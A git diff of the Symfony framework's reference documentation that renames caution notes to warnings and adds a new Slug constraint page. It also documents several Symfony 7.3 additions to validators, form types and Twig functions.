-    :class:`Symfony\\Component\\Validator\\Constraints\\BIC`
-    (e.g. ``BIC::VALIDATION_MODE_CASE_INSENSITIVE``).
+* ``Bic::VALIDATION_MODE_STRICT`` validates the given value without any modification;
+* ``Bic::VALIDATION_MODE_CASE_INSENSITIVE`` converts the given value to uppercase before validating it.
 
 .. versionadded:: 7.2
 
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 3424d47c9d3..f4c78a9642a 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -245,7 +245,7 @@ constructor of the Callback constraint::
         }
     }
 
-.. caution::
+.. warning::
 
     Using a ``Closure`` together with attribute configuration will disable the
     attribute cache for that class/property/method because ``Closure`` cannot
@@ -271,14 +271,16 @@ callback method:
 * A closure.
 
 Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the first argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the first argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the second argument.
 
 Static or closure callbacks receive the validated object as the first argument,
 the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the second argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the second argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the third argument.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+.. _reference-constraints-callback-payload:
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index f6bcce7e5f5..ffcfbf55dda 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -99,11 +99,16 @@ This message is shown if the underlying data is not a valid datetime.
 
 You can use the following parameters in this message:
 
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ value }}``  The current (invalid) value
-``{{ label }}``  Corresponding form field label
-===============  ==============================================================
+================  ==============================================================
+Parameter         Description
+================  ==============================================================
+``{{ value }}``   The current (invalid) value
+``{{ label }}``   Corresponding form field label
+``{{ format }}``  The date format defined in ``format``
+================  ==============================================================
+
+.. versionadded:: 7.3
+
+    The ``{{ format }}`` parameter was introduced in Symfony 7.3.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index d2f151adea8..d5d78f60a0f 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -4,7 +4,7 @@ EqualTo
 Validates that a value is equal to another value, defined in the options.
 To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``==``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 205d78b5cbb..6d9b72d17b8 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -242,7 +242,7 @@ Parameter         Description
 
 **type**: ``array`` or ``string``
 
-.. caution::
+.. warning::
 
     You should always use the ``extensions`` option instead of ``mimeTypes``
     except if you explicitly don't want to check that the extension of the file
@@ -298,7 +298,12 @@ Parameter                       Description
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.
 
-.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
+====================  ==============================================================
+Parameter             Description
+====================  ==============================================================
+``{{ extension }}``   The extension of the given file
+``{{ extensions }}``  The list of allowed file extensions
+====================  ==============================================================
 
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 507493b63d4..5b6d853dc0b 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is identical to another value, defined in the options.
 To force that a value is *not* identical, see
 :doc:`/reference/constraints/NotIdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``===``, so ``3`` and ``"3"`` are *not*
     considered equal. Use :doc:`/reference/constraints/EqualTo` to compare
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 48dc1d5e0ed..23fbe5a157a 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -210,6 +210,10 @@ add several other options.
 
 If this option is false, the image cannot be landscape oriented.
 
+.. versionadded:: 7.3
+
+    The ``allowLandscape`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowLandscapeMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -234,6 +238,10 @@ Parameter         Description
 
 If this option is false, the image cannot be portrait oriented.
 
+.. versionadded:: 7.3
+
+    The ``allowPortrait`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowPortraitMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -260,6 +268,10 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
+.. versionadded:: 7.3
+
+    The ``allowSquare`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowSquareMessage``
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -358,6 +370,10 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
+.. versionadded:: 7.3
+
+    The ``maxRatio`` option support for SVG files was introduced in Symfony 7.3.
+
 ``maxRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -477,6 +493,10 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
+.. versionadded:: 7.3
+
+    The ``minRatio`` option support for SVG files was introduced in Symfony 7.3.
+
 ``minRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 59adffe7c11..9a282ddf118 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -132,6 +132,7 @@ Parameter                         Allowed MAC addresses
 ``multicast_no_broadcast``        Only multicast except broadcast
 ``unicast_all``                   Only unicast
 ``universal_all``                 Only universal
+``universal_unicast``             Only universal and unicast
 ``universal_multicast``           Only universal and multicast
 ================================  =========================================
 
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 37b03c35907..b8ee4cac32f 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** equal to another value, defined in the
 options. To force that a value is equal, see
 :doc:`/reference/constraints/EqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!=``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/NotIdenticalTo` to compare with
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index ba28fdb7c45..9ea93dc4b86 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** identical to another value, defined in
 the options. To force that a value is identical, see
 :doc:`/reference/constraints/IdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!==``, so ``3`` and ``"3"`` are
     considered not equal. Use :doc:`/reference/constraints/NotEqualTo` to
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 671b5f495ef..60125a763a1 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -178,7 +178,7 @@ service to use your own estimator:
                 class: App\Validator\CustomPasswordStrengthEstimator
 
             Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
-                arguments: [!service_closure '@custom_password_strength_estimator']
+                arguments: [!closure '@custom_password_strength_estimator']
 
     .. code-block:: xml
 
@@ -192,7 +192,7 @@ service to use your own estimator:
                 <service id="custom_password_strength_estimator" class="App\Validator\CustomPasswordStrengthEstimator"/>
 
                 <service id="Symfony\Component\Validator\Constraints\PasswordStrengthValidator">
-                    <argument type="service_closure" id="custom_password_strength_estimator"/>
+                    <argument type="closure" id="custom_password_strength_estimator"/>
                 </service>
             </services>
         </container>
@@ -210,5 +210,5 @@ service to use your own estimator:
             $services->set('custom_password_strength_estimator', CustomPasswordStrengthEstimator::class);
 
             $services->set(PasswordStrengthValidator::class)
-                ->args([service_closure('custom_password_strength_estimator')]);
+                ->args([closure('custom_password_strength_estimator')]);
         };
diff --git a/reference/constraints/Slug.rst b/reference/constraints/Slug.rst
new file mode 100644
index 00000000000..2eb82cd9c10
--- /dev/null
+++ b/reference/constraints/Slug.rst
@@ -0,0 +1,119 @@
+Slug
+====
+
+.. versionadded:: 7.3
+
+    The ``Slug`` constraint was introduced in Symfony 7.3.
+
+Validates that a value is a slug. By default, a slug is a string that matches
+the following regular expression: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Slug`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SlugValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The ``Slug`` constraint can be applied to a property or a getter method:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Slug]
+            protected string $slug;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Author:
+            properties:
+                slug:
+                    - Slug: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Author">
+                <property name="slug">
+                    <constraint name="Slug"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Author
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('slug', new Assert\Slug());
+            }
+        }
+
+Examples of valid values:
+
+* foobar
+* foo-bar
+* foo123
+* foo-123bar
+
+Uppercase characters would result in an violation of this constraint.
+
+Options
+-------
+
+``regex``
+~~~~~~~~~
+
+**type**: ``string`` default: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``
+
+This option allows you to modify the regular expression pattern that the input
+will be matched against via the :phpfunction:`preg_match` PHP function.
+
+If you need to use it, you might also want to take a look at the :doc:`Regex constraint <Regex>`.
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid slug``
+
+This is the message that will be shown if this validator fails.
+
+You can use the following parameters in this message:
+
+=================  ==============================================================
+Parameter          Description
+=================  ==============================================================
+``{{ value }}``    The current (invalid) value
+=================  ==============================================================
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 87bdade534a..d4fbfeb8666 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -126,14 +126,14 @@ between all of the rows in your user table:
             }
         }
 
-.. caution::
+.. warning::
 
     This constraint doesn't provide any protection against `race conditions`_.
     They may occur when another entity is persisted by an external process after
     this validation has passed and before this entity is actually persisted in
     the database.
 
-.. caution::
+.. warning::
 
     This constraint cannot deal with duplicates found in a collection of items
     that haven't been persisted as entities yet. You'll need to create your own
@@ -355,7 +355,7 @@ this option to specify one or more fields to only ignore ``null`` values on them
             }
         }
 
-.. caution::
+.. warning::
 
     If you ``ignoreNull`` on fields that are part of a unique index in your
     database, you might see insertion errors when your application attempts to
diff --git a/reference/constraints/_payload-option.rst.inc b/reference/constraints/_payload-option.rst.inc
index a76c9a4a29d..5121ba1ae51 100644
--- a/reference/constraints/_payload-option.rst.inc
+++ b/reference/constraints/_payload-option.rst.inc
@@ -1,5 +1,3 @@
-.. _reference-constraints-payload:
-
 ``payload``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index f23f5b71aa3..58801a8c653 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -33,6 +33,7 @@ String Constraints
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`Regex </reference/constraints/Regex>`
+* :doc:`Slug </reference/constraints/Slug>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 7caaf5447e0..866aac5774f 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -335,7 +335,7 @@ controller.argument_value_resolver
 Value resolvers implement the
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
 and are used to resolve argument values for controllers as described here:
-:doc:`/controller/argument_value_resolver`.
+:doc:`/controller/value_resolver`.
 
 data_collector
 --------------
@@ -560,7 +560,7 @@ can also register it manually:
     that defaults to ``0``. The higher the number, the earlier that warmers are
     executed.
 
-.. caution::
+.. warning::
 
     If your cache warmer fails its execution because of any exception, Symfony
     won't try to execute it again for the next requests. Therefore, your
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 368c95bc2a8..dfed9c74398 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -26,7 +26,7 @@ The component supports:
 
     The support for comments inside expressions was introduced in Symfony 7.2.
 
-.. caution::
+.. warning::
 
     A backslash (``\``) must be escaped by 3 backslashes (``\\\\``) in a string
     and 7 backslashes (``\\\\\\\\``) in a regex::
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 2a694ed45d2..fb0143228c1 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -64,7 +64,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called
             'say_hello' => "Hello {name}!",
         ];
 
-.. caution::
+.. warning::
 
     In the previous translation format, placeholders were often wrapped in ``%``
     (e.g. ``%name%``). This ``%`` character is no longer valid with the ICU
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 2d31aac890c..9f61fb768bd 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -93,7 +93,7 @@ method::
 You can also customize the `choice_name`_ of each choice. You can learn more
 about all of these options in the sections below.
 
-.. caution::
+.. warning::
 
     The *placeholder* is a specific field, when the choices are optional the
     first item in the list must be empty, so the user can unselect.
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c5fee42f06c..2875ba076d0 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -99,7 +99,7 @@ can be used - with JavaScript - to create new form items dynamically on
 the client side. For more information, see the above example and
 :ref:`form-collections-new-prototype`.
 
-.. caution::
+.. warning::
 
     If you're embedding entire other forms to reflect a one-to-many database
     relationship, you may need to manually ensure that the foreign key of
@@ -119,7 +119,7 @@ submitted data will mean that it's removed from the final array.
 
 For more information, see :ref:`form-collections-remove`.
 
-.. caution::
+.. warning::
 
     Be careful when using this option when you're embedding a collection
     of objects. In this case, if any embedded forms are removed, they *will*
@@ -139,7 +139,7 @@ form you have to set this option to ``true``. However, existing collection entri
 will only be deleted if you have the allow_delete_ option enabled. Otherwise
 the empty values will be kept.
 
-.. caution::
+.. warning::
 
     The ``delete_empty`` option only removes items when the normalized value is
     ``null``. If the nested `entry_type`_ is a compound form type, you must
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index d841461b2f5..6c98897b6ba 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -52,7 +52,7 @@ Overridden Options
 The country type defaults the ``choices`` option to the whole list of countries.
 The locale is used to translate the countries names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the country type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index b69225eb78c..94c0d2cddc8 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -35,7 +35,7 @@ Overridden Options
 
 The choices option defaults to all currencies.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the currency type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index e88e91d80dd..210fff5dd0d 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -101,7 +101,7 @@ This can be tricky: if the date picker is misconfigured, Symfony won't understan
 the format and will throw a validation error. You can also configure the format
 that Symfony should expect via the `format`_ option.
 
-.. caution::
+.. warning::
 
     The string used by a JavaScript date picker to describe its format (e.g. ``yyyy-mm-dd``)
     may not match the string that Symfony uses (e.g. ``yyyy-MM-dd``). This is because
@@ -156,11 +156,12 @@ values for the year, month and day fields::
 ``calendar``
 ~~~~~~~~~~~~
 
-**type**: ``\IntlCalendar`` **default**: ``null``
+**type**: ``integer`` or ``\IntlCalendar`` **default**: ``null``
 
 The calendar to use for formatting and parsing the date. The value should be
-an instance of the :phpclass:`IntlCalendar` to use. By default, the Gregorian
-calendar with the application default locale is used.
+an ``integer`` from :phpclass:`IntlDateFormatter` calendar constants or an instance
+of the :phpclass:`IntlCalendar` to use. By default, the Gregorian calendar
+with the application default locale is used.
 
 .. versionadded:: 7.2
 
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 38fccb47cd1..838ae2bbdef 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -221,7 +221,7 @@ following:
 Whether or not to include days in the input. This will result in an additional
 input to capture days.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_weeks`_ is enabled.
 
@@ -274,7 +274,7 @@ input to capture seconds.
 Whether or not to include weeks in the input. This will result in an additional
 input to capture weeks.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_days`_ is enabled.
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index f30d5f9a5b2..0d900de377f 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -183,7 +183,7 @@ passed the ``EntityRepository`` of the entity as the only argument and should
 return a ``QueryBuilder``. Returning ``null`` in the Closure will result in
 loading all entities.
 
-.. caution::
+.. warning::
 
     The entity used in the ``FROM`` clause of the ``query_builder`` option
     will always be validated against the class which you have specified at the
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index e3dddfb8ae6..a1e699a0686 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -69,7 +69,7 @@ Overridden Options
 The choices option defaults to all languages.
 The default locale is used to translate the languages names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the language type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 68155a248fd..c006beb14fd 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -46,7 +46,7 @@ Overridden Options
 The choices option defaults to all locales. It uses the default locale to
 specify the language.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the locale type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index f9f8cefdd58..a02b695abd4 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -70,9 +70,10 @@ html5
 If set to ``true``, the HTML input will be rendered as a native HTML5
 ``<input type="number">`` element.
 
-.. caution::
+.. warning::
 
-    As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
+    As HTML5 number format is normalized, it is incompatible with the ``grouping``
+    option.
 
 input
 ~~~~~
diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc
index 4e5b1be4c87..04106ee7e21 100644
--- a/reference/forms/types/options/_date_limitation.rst.inc
+++ b/reference/forms/types/options/_date_limitation.rst.inc
@@ -1,4 +1,4 @@
-.. caution::
+.. warning::
 
     If ``timestamp`` is used, ``DateType`` is limited to dates between
     Fri, 13 Dec 1901 20:45:54 UTC and Tue, 19 Jan 2038 03:14:07 UTC on 32bit
diff --git a/reference/forms/types/options/choice_lazy.rst.inc b/reference/forms/types/options/choice_lazy.rst.inc
index bdcbf178406..08fbe953e41 100644
--- a/reference/forms/types/options/choice_lazy.rst.inc
+++ b/reference/forms/types/options/choice_lazy.rst.inc
@@ -24,7 +24,7 @@ will only load and render the choices that are preset as default values or
 submitted. This defers the loading of the full list of choices, helping to
 improve your form's performance.
 
-.. caution::
+.. warning::
 
     Keep in mind that when using ``choice_lazy``, you are responsible for
     providing the user interface for selecting choices, typically through a
diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc
index 4ec8abb6ffe..4268c307d17 100644
--- a/reference/forms/types/options/choice_name.rst.inc
+++ b/reference/forms/types/options/choice_name.rst.inc
@@ -25,7 +25,7 @@ By default, the choice key or an incrementing integer may be used (starting at `
 
     See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
 
-.. caution::
+.. warning::
 
     The configured value must be a valid form name. Make sure to only return
     valid names when using a callable. Valid form names must be composed of
diff --git a/reference/forms/types/options/data.rst.inc b/reference/forms/types/options/data.rst.inc
index c3562d0a8b1..34f86e7c4c6 100644
--- a/reference/forms/types/options/data.rst.inc
+++ b/reference/forms/types/options/data.rst.inc
@@ -16,7 +16,7 @@ an individual field, you can set it in the data option::
         'data' => 'abcdef',
     ]);
 
-.. caution::
+.. warning::
 
     The ``data`` option *always* overrides the value taken from the domain data
     (object) when rendering. This means the object value is also overridden when
diff --git a/reference/forms/types/options/empty_data_description.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
index e654a7037df..b143b9438fe 100644
--- a/reference/forms/types/options/empty_data_description.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -22,7 +22,7 @@ initial value in the rendered form.
     :doc:`/form/use_empty_data` article for more details about these
     options.
 
-.. caution::
+.. warning::
 
     :doc:`Form data transformers </form/data_transformers>` will still be
     applied to the ``empty_data`` value. This means that an empty string will
diff --git a/reference/forms/types/options/inherit_data.rst.inc b/reference/forms/types/options/inherit_data.rst.inc
index 1b63cc4b56f..f35f6d56b00 100644
--- a/reference/forms/types/options/inherit_data.rst.inc
+++ b/reference/forms/types/options/inherit_data.rst.inc
@@ -7,7 +7,7 @@ This option determines if the form will inherit data from its parent form.
 This can be useful if you have a set of fields that are duplicated across
 multiple forms. See :doc:`/form/inherit_data_option`.
 
-.. caution::
+.. warning::
 
     When a field has the ``inherit_data`` option set, it uses the data of
     the parent form as is. This means that
diff --git a/reference/forms/types/options/value.rst.inc b/reference/forms/types/options/value.rst.inc
index ddbfff6660d..e4669faa7e4 100644
--- a/reference/forms/types/options/value.rst.inc
+++ b/reference/forms/types/options/value.rst.inc
@@ -6,7 +6,7 @@
 The value that's actually used as the value for the checkbox or radio button.
 This does not affect the value that's set on your object.
 
-.. caution::
+.. warning::
 
     To make a checkbox or radio button checked by default, use the `data`_
     option.
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 83342194a4e..59e40fb19d1 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -43,7 +43,7 @@ Data passed to the form must be a
 :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
 object.
 
-.. caution::
+.. warning::
 
     To minimize the risk of leaking the plain password, this option can
     only be used with the :ref:`"mapped" option <reference-form-password-mapped>`
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index cf56d3067de..47a32368b99 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -19,7 +19,7 @@ Renders a ``textarea`` HTML element.
     ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read
     `its documentation`_ to learn how to integrate it in your Symfony application.
 
-.. caution::
+.. warning::
 
     When allowing users to type HTML code in the textarea (or using a
     WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 43cf0644e0e..a3378f948cd 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -80,6 +80,10 @@ values for the hour, minute and second fields::
         ],
     ]);
 
+.. seealso::
+
+    See the `with_seconds`_ option on how to enable seconds in the form type.
+
 .. include:: /reference/forms/types/options/hours.rst.inc
 
 .. include:: /reference/forms/types/options/html5.rst.inc
@@ -113,7 +117,7 @@ of the time. This must be a valid `PHP time format`_.
 
 .. include:: /reference/forms/types/options/model_timezone.rst.inc
 
-.. caution::
+.. warning::
 
     When using different values for ``model_timezone`` and `view_timezone`_,
     a `reference_date`_ must be configured.
@@ -134,7 +138,7 @@ based on this date.
 When no `reference_date`_ is set the ``view_timezone`` defaults to the
 configured `model_timezone`_.
 
-.. caution::
+.. warning::
 
     When using different values for `model_timezone`_ and ``view_timezone``,
     a `reference_date`_ must be configured.
@@ -157,7 +161,7 @@ following:
   will be validated against the form ``hh:mm`` (or ``hh:mm:ss`` if using
   seconds).
 
-.. caution::
+.. warning::
 
     Combining the widget type ``single_text`` and the `with_minutes`_ option
     set to ``false`` can cause unexpected behavior in the client as the
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 7dae0f351b4..d2af713f1c8 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -67,7 +67,7 @@ Overridden Options
 The Timezone type defaults the choices to all timezones returned by
 :phpmethod:`DateTimeZone::listIdentifiers`, broken down by continent.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the timezone type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index d4cb312d2bb..9c6dde6072e 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -25,6 +25,13 @@ Field Options
 
 **type**: ``string`` **default**: ``http``
 
+Set this value to ``null`` to render the field using a ``<input type="url"/>``,
+allowing the browser to perform local validation before submission.
+
+When this value is neither ``null`` nor an empty string, the form field is
+rendered using a ``<input type="text"/>``. This ensures users can submit the
+form field without specifying the protocol.
+
 If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 0939e2bdf98..acbab2f3817 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -130,8 +130,10 @@ asset_version
 
 .. code-block:: twig
 
-    {{ asset_version(packageName = null) }}
+    {{ asset_version(path, packageName = null) }}
 
+``path``
+    **type**: ``string``
 ``packageName`` *(optional)*
     **type**: ``string`` | ``null`` **default**: ``null``
 
@@ -158,20 +160,41 @@ is_granted
 
 .. code-block:: twig
 
-    {{ is_granted(role, object = null, field = null) }}
+    {{ is_granted(role, object = null) }}
 
 ``role``
     **type**: ``string``
 ``object`` *(optional)*
     **type**: ``object``
-``field`` *(optional)*
-    **type**: ``string``
 
 Returns ``true`` if the current user has the given role.
 
 Optionally, an object can be passed to be used by the voter. More information
 can be found in :ref:`security-template`.
 
+is_granted_for_user
+~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.3
+
+    The ``is_granted_for_user()`` function was introduced in Symfony 7.3.
+
+.. code-block:: twig
+
+    {{ is_granted_for_user(user, attribute, subject = null) }}
+
+``user``
+    **type**: ``object``
+``attribute``
+    **type**: ``string``
+``subject`` *(optional)*
+    **type**: ``object``
+
+Returns ``true`` if the user is authorized for the specified attribute.
+
+Optionally, an object can be passed to be used by the voter. More information
+can be found in :ref:`security-template`.
+
 logout_path
 ~~~~~~~~~~~
 
@@ -701,6 +724,8 @@ project's root directory:
 If the given file path is out of the project directory, a ``null`` value
 will be returned.
 
+.. _reference-twig-filter-serialize:
+
 serialize
 ~~~~~~~~~
 
diff --git a/routing.rst b/routing.rst
index 18f96270e1c..4ab0dce2a82 100644
--- a/routing.rst
+++ b/routing.rst
@@ -81,7 +81,7 @@ the ``list()`` method of the ``BlogController`` class.
     example, URLs like ``/blog?foo=bar`` and ``/blog?foo=bar&bar=foo`` will
     also match the ``blog_list`` route.
 
-.. caution::
+.. warning::
 
     If you define multiple PHP classes in the same file, Symfony only loads the
     routes of the first class, ignoring all the other routes.
@@ -298,7 +298,7 @@ arbitrary matching logic:
         # config/routes.yaml
         contact:
             path:       /contact
-            controller: 'App\Controller\DefaultController::contact'
+            controller: App\Controller\DefaultController::contact
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
             # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
